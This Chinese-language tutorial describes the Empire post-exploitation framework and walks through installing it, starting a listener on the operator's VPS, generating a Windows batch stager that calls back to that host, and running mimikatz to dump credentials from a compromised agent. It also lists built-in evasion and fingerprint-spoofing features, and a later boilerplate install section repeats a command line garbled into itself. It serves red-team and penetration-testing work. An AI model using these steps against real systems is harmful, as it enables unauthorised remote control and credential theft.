项目简介

Empire 是一款开源的后渗透(Post-Exploitation)与 adversary emulation 框架,主要服务于红队与渗透测试人员。服务端使用 Python 3 编写,采用模块化设计,原生支持多人协作(Server/Client 架构)。它内置了 400+ 个后渗透模块,覆盖凭据抓取、权限提升、横移、信息收集等完整攻击链路,并支持 PowerShell、Python、C#、IronPython、Go 等多种 Agent。
项目仓库:https://github.com/BC-SECURITY/Empire,官方文档:https://bc-security.gitbook.io/empire-wiki/。注意:早期的 EmpireProject/Empire 仓库已停止维护,当前活跃维护版本为 BC-SECURITY/Empire。
功能特点
- C/S 多人架构:服务端独立运行,支持远程客户端与 Web GUI 同时连接。
- 全加密通信:HTTP/S、Malleable HTTP、Foreign、Hop、SMB、端口转发等多种 Pivot 监听。
- 庞大模块库:400+ 个 PowerShell / C# / Python 后渗透模块。
- 免文件执行:内存中执行 .NET 程序集,集成 Donut 生成 shellcode。
- 规避检测:内置 ConfuserEx 2 与 Invoke-Obfuscation 混淆,支持 JA3/S、JARM 指纹伪装。
- MITRE ATT&CK 映射:模块与攻击战术一一对应。
- 跨平台支持:官方支持 Docker、Kali、ParrotOS、Ubuntu 22.04/24.04、Debian 12/13。
Starkiller 图形化界面

Starkiller 是 Empire 官方配套的 Web 图形客户端,通过 API 远程连接 Empire 服务端。自 5.0 版本起,Starkiller 已与 Empire 打包在一起,无需单独安装。
环境要求
- 操作系统:Kali Linux / Ubuntu 22.04+ / Debian 12+(仅官方维护这些发行版)。
- Python 3.9+,Git,以及 system 编译依赖。
- 推荐 2GB 以上内存,开放监听端口(默认 80 等 HTTP listener 端口)。
部署步骤
1. 克隆仓库并切换到最新稳定版
git clone https://github.com/BC-SECURITY/Empire.git
cd Empire
# main 分支是最新代码但可能不稳定,切到最新 tag
./setup/checkout-latest-tag.sh2. 一键安装
./ps-empire install -y该脚本会自动安装 Python 依赖、编译原生组件并初始化数据库。详细安装说明见官方文档:https://bc-security.gitbook.io/empire-wiki/quickstart/installation。
3. 启动 Empire 服务端
# 启动服务端 ./ps-empire server查看帮助
./ps-empire server -h
服务端启动后会监听 API 端口,并自动初始化 SQLite 数据库。
4. 启动客户端连接服务端
另开一个终端,启动命令行客户端:
./ps-empire client若使用 Starkiller Web GUI,直接浏览器访问服务端对应地址即可(5.0 起已内置)。
基础使用
创建监听(Listener)
(Empire)> listeners
(Empire: listeners)> uselistener http
(Empire: listeners/http)> set Host http://你的VPS_IP:80
(Empire: listeners/http)> execute生成 Stager 并投递
(Empire: listeners/http)> usestager windows/launcher_bat
(Empire: stager/windows/launcher_bat)> set Listener http
(Empire: stager/windows/launcher_bat)> execute生成的 payload 在目标机执行后,agent 会反向连接回来,客户端中用 agents 命令查看在线 agent。
调用后渗透模块
(Empire: agents)> interact 会话ID
(Empire: 会话ID)> usemodule powershell/credentials/mimikatz/mimikatz
(Empire: 会话ID)> execute常见问题 FAQ
Q1:安装脚本报错怎么办?
请确保使用 Kali/Ubuntu/Debian 官方支持的发行版,并以普通用户运行 ./ps-empire install -y;不要直接用 root 跑服务端。
Q2:main 分支不稳定?
务必运行 ./setup/checkout-latest-tag.sh 切换到最新正式 Release,发布记录见 https://github.com/BC-SECURITY/Empire/releases。
Q3:Starkiller 需要单独安装吗?
5.0 及以上版本已内置 Starkiller,启动 server 后即可通过 Web 访问;旧版本需单独部署。
Q4:支持哪些 Agent 平台?
PowerShell、Python 3、C#、IronPython 3、Go,可针对 Windows / Linux / macOS 目标生成对应 payload。
Q5:旧 EmpireProject/Empire 还能用吗?
上游已声明停止支持,强烈建议迁移到 BC-SECURITY/Empire 维护版以获得安全更新和模块支持。
安装部署(实操步骤)
1. 前置准备
- 项目仓库:BC-SECURITY/Empire(https://github.com/BC-SECURITY/Empire)
- 需要本机具备 Git;按项目语言准备对应运行时(Python / Node.js / Go / Java 等)
- 建议先在本机或测试服务器上跑通,再部署到生产环境
- 遇到依赖版本问题时,以仓库 README 与 Releases 说明为准
2. 官方安装 / 启动命令(摘自项目 README,可直接复制执行)
git clone https://github.com/BC-SECURITY/Empire.gitgit clone https://github.com/BC-SECURITY/Empire.git
cd Empire
./setup/checkout-latest-tag.sh
./ps-empire install -y# Start Server
./ps-empire server
# Help
./ps-empire server -h3. 部署流程
- 克隆仓库:
git clone https://github.com/BC-SECURITY/Empire - 进入目录后按上面的官方命令安装依赖
- 参考 README 的配置说明填写配置文件或环境变量
- 按官方说明启动服务,确认监听端口与访问地址
- 浏览器访问验证功能,确认无报错后再开放外网
4. 常见问题排查
- 依赖安装失败:先升级包管理器,再确认运行时版本符合 README 要求
- 启动报端口占用:修改配置中的端口或释放被占用端口
- 页面打不开:检查防火墙 / 安全组是否放行对应端口
- 功能异常:查看运行日志,对照 Issues 中同类问题处理